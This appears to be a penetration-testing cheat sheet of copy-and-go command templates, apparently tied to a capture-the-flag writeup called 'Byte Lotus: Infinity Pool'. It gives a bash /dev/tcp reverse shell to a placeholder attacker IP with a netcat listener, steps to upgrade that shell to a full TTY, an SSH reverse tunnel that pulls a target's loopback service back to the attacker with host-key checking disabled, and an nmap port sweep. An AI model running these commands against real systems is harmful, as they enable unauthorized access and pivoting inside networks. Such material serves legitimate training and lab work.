// reusable, tested command templates — recon, web exploitation, privesc, pivoting, forensics. Copy, swap the <placeholders>, go.
Turn a raw reverse shell into a fully interactive TTY — job control, arrow keys, tab-complete, clear — via the classic python-pty + stty dance.
# spawn a PTY inside the dumb shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# background it: Ctrl+Z, then fix the local terminal and pull it back
stty raw -echo; fg
# re-set a sane terminal so clear/less/vim behave
export TERM=xtermused in: Byte Lotus: Infinity Pool — Two Shells, One Voicemail
Pull a service that only listens on the target''s loopback (e.g. an admin panel on 127.0.0.1:8080) back to your attacker box over SSH.
# Run on the target (you need outbound SSH to your box). Afterwards the target's
# 127.0.0.1:8080 is reachable as 127.0.0.1:8080 on YOUR machine.
ssh -N -R 8080:127.0.0.1:8080 -o StrictHostKeyChecking=no <attacker-user>@<attacker-ip>used in: Byte Lotus: Infinity Pool — Two Shells, One Voicemail
The classic bash /dev/tcp reverse shell with a netcat listener — no tooling needed on the target beyond bash itself.
# on your box — catch the callback
nc -lvnp 4444
# on the target — bash's built-in /dev/tcp, no nc/socat required there
bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1used in: Byte Lotus: Infinity Pool — Two Shells, One Voicemail
Two-stage recon: fast all-ports scan, then version/script scan only the ports that came back open.
# 1) fast sweep of all 65535 TCP ports
nmap -p- --min-rate 5000 -T4 -oN nmap-allports.txt <target-ip>
# 2) pull the open ports from the sweep, then deep-scan just those
ports=$(grep -oP '^\d+(?=/tcp\s+open)' nmap-allports.txt | paste -sd, -)
nmap -sC -sV -p "$ports" -oN nmap-services.txt <target-ip>